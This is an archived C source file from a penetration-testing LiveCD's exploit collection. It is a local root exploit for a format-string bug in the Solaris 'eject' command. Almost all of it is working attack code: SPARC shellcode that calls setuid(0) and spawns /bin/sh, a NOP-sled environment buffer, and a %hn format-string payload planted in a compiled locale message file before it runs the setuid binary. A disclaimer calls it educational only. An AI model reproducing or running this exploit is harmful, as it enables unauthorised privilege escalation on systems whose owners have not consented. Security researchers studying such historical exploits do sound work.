home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / eject-fmt.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  134 lines

  1. /* "eject" exploit for locale subsystem format strings bug In Solaris
  2.  * Tested in Solaris 2.6/7.0
  3.  * Script kiddies: you should modify this code
  4.  * slightly by yourself. :)
  5.  *
  6.  * Thanks for Ivan Arce <iarce@core-sdi.com>.
  7.  *
  8.  * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
  9.  * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
  10.  *
  11.  *    by warning3@nsfocus.com (http://www.nsfocus.com)
  12.  *         y2k/9/8
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <sys/systeminfo.h>
  17.  
  18. #define RETLOC  0xffbefa2c  /* default retloc */
  19. #define NUM     95   /* maybe should adjust this number */
  20. #define ALIGN   0    /* If don't work ,try adjust align to 0,1,2,3 */
  21.  
  22. #define BUFSIZE 2048 /* the size of format string buffer*/
  23. #define EGGSIZE 1024 /* the egg buffer size */
  24. #define NOP     0xfa1d4015  /* "xor %l5, %l5, %l5" */
  25. #define ALIGN1  2
  26.  
  27. #define VULPROG "/usr/bin/eject"
  28.  
  29. char shellcode[] = /* from scz's funny shellcode for SPARC */
  30. "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"   /* setuid(0)  */
  31. "\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09"   /* dup2(1,2)  */
  32. "\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"
  33. "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
  34. "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
  35. "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
  36. "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  37. "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
  38.  
  39. /* get current stack point address to guess Return address */
  40. long get_sp(void)
  41. {
  42.   __asm__("mov %sp,%i0");
  43. }
  44.  
  45. main( int argc, char **argv )
  46. {
  47.   char retlocbuf[256], *pattern,eggbuf[EGGSIZE],*env[3];
  48.   char plat[256], *ptr;
  49.   long sh_addr, sp_addr, retloc = RETLOC, i, num = NUM;
  50.   long align=ALIGN, align1=ALIGN1;
  51.   long  *addrptr;
  52.   long reth, retl;
  53.   FILE *fp;
  54.  
  55.   if( argc > 1 ) sscanf(argv[1],"%x",&retloc);
  56.   if( argc > 2 ) align = atoi(argv[2]);
  57.   if( argc > 3 ) num = atoi(argv[3]);
  58.  
  59.   addrptr = (long *) retlocbuf;
  60.   retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);
  61.   /* Let's make reloc buffer */
  62.  
  63.   for( i = 0 ; i < 2 ; i ++ ){
  64.     *addrptr++ = 0x41414141;
  65.     *addrptr++ = retloc;
  66.     retloc += 2;
  67.   }
  68.  
  69.   /* construct shellcode buffer */
  70.  
  71.   memset(eggbuf,'A',EGGSIZE);   /* fill the eggbuf with garbage */
  72.   for (i = align; i < EGGSIZE; i+=4) /* fill with NOP */
  73.   {
  74.     eggbuf[i+3]=NOP & 0xff;
  75.     eggbuf[i+2]=(NOP >> 8 ) &0xff;
  76.     eggbuf[i+1]=(NOP >> 16 ) &0xff;
  77.     eggbuf[i+0]=(NOP >> 24 ) &0xff;  /* Big endian */
  78.   }
  79.   /* Notice : we assume the length of shellcode can be divided exatcly by 4 .
  80.      If not, exploit will fail. Anyway, our shellcode is. ;-)
  81.    */
  82.   memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4  + align, shellcode, strlen(shellcode));
  83.   //memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */
  84.   env[0] = "NLSPATH=:.";
  85.   env[1] = eggbuf;    /* put eggbuf in env */
  86.   env[2] = NULL;      /* end of env */
  87.  
  88.   /* get platform info  */
  89.   sysinfo(SI_PLATFORM,plat,256);
  90.  
  91.   /* get stack bottom address */
  92.   sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
  93.   /* get shellcode address . many thanks to Olaf Kirch. :)
  94.    * the trailing '8' make sure our sh_addr into "NOP"s area.
  95.    */
  96.   sh_addr =  sp_addr - strlen(VULPROG) - strlen(plat)  - strlen(eggbuf) - 3 + 8 ;
  97.  
  98.   printf("Usages: %s <retloc> <align> <num> <bufsize> \n\n", argv[0] );
  99.   printf("Using RETloc address = 0x%x, RET address = 0x%x  ,Align= %d\n", retloc, sh_addr, align );
  100.  
  101.   if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
  102.     printf("Can't get enough memory!\n");
  103.     exit(-1);
  104.   }
  105.  
  106.   ptr = pattern;
  107.   for(i = 0 ; i < num ; i++ ){
  108.     memcpy(ptr, "%.8x", 4);
  109.     ptr += 4;
  110.   }
  111.  
  112.   reth = (sh_addr >> 16) & 0xffff ;
  113.   retl = (sh_addr >>  0) & 0xffff ;
  114.   sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(reth - num*8),
  115.    (0x10000 +  retl - reth));
  116.  
  117.   printf("%s",pattern);
  118.  
  119.   if( !(fp = fopen("messages.po", "w+")))
  120.   {
  121.     perror("fopen");
  122.     exit(1);
  123.   }
  124.   fprintf(fp,"domain \"messages\"\n");
  125.   fprintf(fp,"msgid  \"usage: %%s [-fndq] [name | nickname]\\n\"\n");
  126.   fprintf(fp,"msgstr \"%s\\n\"", pattern);
  127.   fclose(fp);
  128.   system("/usr/bin/msgfmt messages.po");
  129.   system("cp messages.mo SUNW_OST_OSCMD");
  130.   system("cp messages.mo SUNW_OST_OSLIB");
  131.  
  132.   execle(VULPROG,VULPROG,"-x",retlocbuf + align1, NULL, env);
  133. }  /* end of main */
  134. /*     www.hack.co.za   [8 September 2000]*/